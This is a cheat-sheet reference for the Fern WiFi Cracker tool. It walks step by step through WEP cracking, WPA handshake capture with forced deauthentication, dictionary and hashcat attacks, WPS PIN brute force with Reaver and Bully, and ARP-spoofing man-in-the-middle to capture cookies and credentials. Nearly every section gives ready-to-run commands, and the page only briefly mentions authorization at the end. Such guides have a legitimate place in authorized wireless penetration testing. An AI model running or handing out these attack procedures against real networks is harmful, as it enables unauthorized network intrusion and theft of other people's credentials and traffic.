콘텐츠로 이동

Fern WiFi Cracker

Installation

Ubuntu/Debian

sudo apt-get update
sudo apt-get install fern-wifi-cracker

From Source

git clone https://github.com/savio-code/fern-wifi-cracker
cd fern-wifi-cracker
sudo python setup.py install

Dependencies

sudo apt-get install aircrack-ng reaver bully python-gtk2 python-paramiko

Verify Installation

fern-wifi-cracker --version

Starting Fern WiFi Cracker

GUI Launch

# Run as root (required for packet capture)
sudo fern-wifi-cracker

Command Line Help

fern-wifi-cracker --help

Interface Selection

StepActionDescription
1Select interfaceChoose wireless adapter (wlan0, wlan1, etc.)
2Monitor modeEnable monitor mode on selected interface
3Channel selectionLeave as auto or specify channel range
4ConfirmClick Start to begin scanning

Manual Monitor Mode (if needed)

sudo airmon-ng start wlan0
# Creates mon0 interface

Disable Monitor Mode

sudo airmon-ng stop mon0
sudo service network-manager restart

Network Scanning

Scan Networks

  • Click Scan in main window
  • Networks appear in list with signal strength
  • Refresh rate updates every few seconds
  • BSSID, SSID, encryption type, and channel displayed

Scan Targets Tab

ColumnMeaning
SSIDNetwork name
BSSIDMAC address of access point
ChannelWiFi channel (1-14)
SecurityWEP, WPA, WPA2, Open
SignalStrength in dBm
ClientsConnected devices

Focus Scanning

# Scan specific channel only
# Configure in Fern UI: Preferences > Advanced

WEP Cracking

WEP Attack Process

  1. Select WEP network from scan list
  2. Click WEP in attack menu
  3. Choose attack method:
    • Standard - Aircrack-ng default
    • Chopchop - Fast method, 60% success
    • Fragmentation - Works with low traffic

Start Packet Capture

# Automatic in Fern, or manual:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture mon0

Inject Packets (if needed)

sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 11:22:33:44:55:66 mon0

Crack WEP Key

  • Minimum 40,000 IV packets required
  • Wait for sufficient IVs collected
  • Fern automatically cracks when ready
  • Key displayed in hex format (e.g., 1a2b3c4d5e)

WPA/WPA2 Dictionary Attack

Prepare Wordlist

# Use rockyou.txt or generate custom list
gunzip /usr/share/wordlists/rockyou.txt.gz

# Or create custom list
echo "password123" > wordlist.txt
echo "admin" >> wordlist.txt

WPA Attack Steps

  1. Select WPA/WPA2 network
  2. Click WPA in attack menu
  3. Verify BSSID and SSID match
  4. Select wordlist:
    • Load rockyou.txt
    • Or point to custom list
  5. Click Start Attack

Handshake Capture

# Capture 4-way handshake (automatic in Fern)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake mon0

# Force deauth to speed up handshake
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF mon0

Offline Dictionary Crack

sudo aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap

WPS Attacks

WPS Reaver Method

FeatureDetails
Speed2-10 hours typical
Success Rate90%+ with default PIN
TargetWPS-enabled routers
Output8-digit PIN, then WiFi password

Start Reaver Attack (via Fern)

  1. Select WPS-enabled network
  2. Click WPS > Reaver
  3. Review target BSSID
  4. Click Start
  5. Wait for PIN discovery

Manual Reaver Command

sudo reaver -i mon0 -b AA:BB:CC:DD:EE:FF -vv

Reaver Options

sudo reaver -i mon0 -b AA:BB:CC:DD:EE:FF \
  --timeout=10 \
  --max-attempts=0 \
  --delay=0 \
  -vv

Bully Method (Alternative)

sudo bully -i mon0 -b AA:BB:CC:DD:EE:FF -v 1
OptionPurpose
-iInterface (monitor mode)
-bBSSID of target
-vVerbosity level
--timeoutSeconds to wait per attempt
--max-attemptsMaximum PIN tries (0=unlimited)

Session Hijacking

MITM Attack Setup

  1. Select target client in Fern
  2. Click Session Hijacking
  3. Choose attack type:
    • ARP Spoofing
    • TCP/UDP injection
    • HTTPS stripping

ARP Spoofing

sudo arpspoof -i wlan0 -t TARGET_IP GATEWAY_IP
# Simultaneously run tcpdump to capture traffic
sudo tcpdump -i wlan0 -w capture.pcap

Session Hijacking via Fern

  • Select connected client
  • Specify target gateway
  • Enable packet sniffing
  • Monitor captured credentials

Capture Network Traffic

  1. Enable session hijacking
  2. Filter for HTTP/HTTPS traffic
  3. Monitor for session cookies
  4. Extract cookie values
# Use Wireshark to inspect captured packets
wireshark capture.pcap
# Filter: http.cookie
  • Automatic in Session Hijacking mode
  • Displays captured cookies
  • Shows HTTP authentication data
  • Identifies unencrypted sessions

GeoIP Mapping

Enable GeoIP Database

  1. Tools > GeoIP Database
  2. Download MaxMind GeoLite2 database
  3. Point Fern to database location

View Geographic Data

  • Scan results show location markers
  • Right-click BSSID > GeoIP
  • Displays country, city, coordinates
  • Useful for site surveys

GeoIP Database Files

# Database location
~/.fern/geoip/GeoLite2-City.mmdb

# Download latest
wget https://geoip.maxmind.com/geoip/databases/GeoLite2-City/download?suffix=tar.gz

Wordlist Management

Built-in Wordlists

/usr/share/wordlists/rockyou.txt      # 14M passwords
/usr/share/wordlists/fasttrack.txt    # Common passwords
/usr/share/wordlists/darkweb2017-top10000.txt

Wordlist in Fern UI

  1. Click Tools > Wordlist Manager
  2. Add custom lists
  3. View list statistics
  4. Enable/disable lists for attacks

Generate Custom Wordlists

# Create from common patterns
crunch 8 8 0123456789 > numeric8.txt

# Merge multiple lists
cat list1.txt list2.txt > combined.txt

# Remove duplicates
sort -u wordlist.txt > wordlist-clean.txt

# Count entries
wc -l wordlist.txt

Hybrid Wordlist Attack

# Combine base words with rule mutations
hashcat -r /usr/share/hashcat/rules/best64.rule wordlist.txt

Database Management

View Cracked Networks

  1. Tools > Database of Cracked Networks
  2. Search by SSID or BSSID
  3. View password and timestamp
  4. Export results

Database Location

~/.fern/database/networks.db

Export Network Data

  1. Select networks from database
  2. Click Export
  3. Choose format (CSV, TXT)
  4. Save to file

Backup Database

cp ~/.fern/database/networks.db networks.db.bak

Import Previous Results

  1. Click Tools > Database
  2. Select Import
  3. Choose backup file
  4. Merge with current database

Preferences & Configuration

Configure Interface Settings

  • Interface - Select wireless adapter
  • Channel Range - 1-11 (US), 1-13 (EU), 1-14 (Japan)
  • Scan Rate - Refresh interval in seconds
  • Timeout - Handshake capture wait time

Attack Preferences

  • WPA Timeout - Seconds per password attempt
  • Reaver Timeout - Delay between PIN guesses
  • Max Attempts - Cap on cracking attempts
  • Verbosity - Debug output level

Appearance Settings

  • Theme - Light/Dark mode
  • Font Size - Adjust readability
  • Refresh Rate - Update frequency
  • Window Size - Save position/size

Common Scenarios

Scenario: Crack WPA Network with rockyou.txt

# 1. Enable monitor mode
sudo airmon-ng start wlan0

# 2. Launch Fern
sudo fern-wifi-cracker

# 3. Scan networks
# 4. Select WPA target
# 5. Load /usr/share/wordlists/rockyou.txt
# 6. Click Start Attack
# 7. Wait for password discovery

Scenario: Quick WPS PIN Crack

# 1. Identify WPS network in scan
# 2. Right-click > WPS > Reaver
# 3. Monitor progress in output window
# 4. PIN typically found in 2-10 hours
# 5. Password automatically extracted

Scenario: Monitor Network Clients

# 1. Scan and select target network
# 2. View **Clients** tab
# 3. See connected device MAC addresses
# 4. Right-click client > **Info**
# 5. View signal strength and device details

Scenario: Capture Credentials via MITM

# 1. Enable Session Hijacking
# 2. Select target client
# 3. Specify gateway IP
# 4. Click Start
# 5. Monitor HTTP requests in output
# 6. Extract username/password from traffic

Troubleshooting

Monitor Mode Not Working

# Check interface
sudo iwconfig

# Force restart
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Verify with airmon-ng
sudo airmon-ng

No Networks Appearing

  • Verify wireless adapter supports monitor mode
  • Check USB adapter power supply
  • Ensure interface is mon0 or mon1
  • Try manual scan: sudo airodump-ng mon0

Handshake Not Capturing

  • Increase capture time (wait 2-3 minutes)
  • Get closer to target AP
  • Force deauth to nearby client
  • Verify encryption is actually WPA/WPA2

Dictionary Attack Too Slow

  • Use smaller wordlist (fasttrack.txt)
  • Verify handshake is valid (use Wireshark)
  • Try GPU acceleration with hashcat
  • Increase timeout setting

WPS Attack Fails

  • Verify WPS is enabled on router
  • Check router isn’t rate-limiting
  • Try Bully instead of Reaver
  • Update Reaver/Bully to latest version

Best Practices

PracticeBenefit
Obtain written authorizationLegal compliance
Test on lab networks firstAvoid mistakes on targets
Use strong wordlistsBetter success rate
Monitor signal strengthImprove handshake capture
Keep tools updatedLatest exploits and fixes
Document findingsProfessional reporting

Security Considerations

  • Only use on networks you own or have permission to test
  • WPA2 with strong passwords resists dictionary attacks
  • Modern routers implement WPS rate limiting
  • EAP/Enterprise WPA2 requires different tools
  • Always obtain written authorization before testing

Additional Resources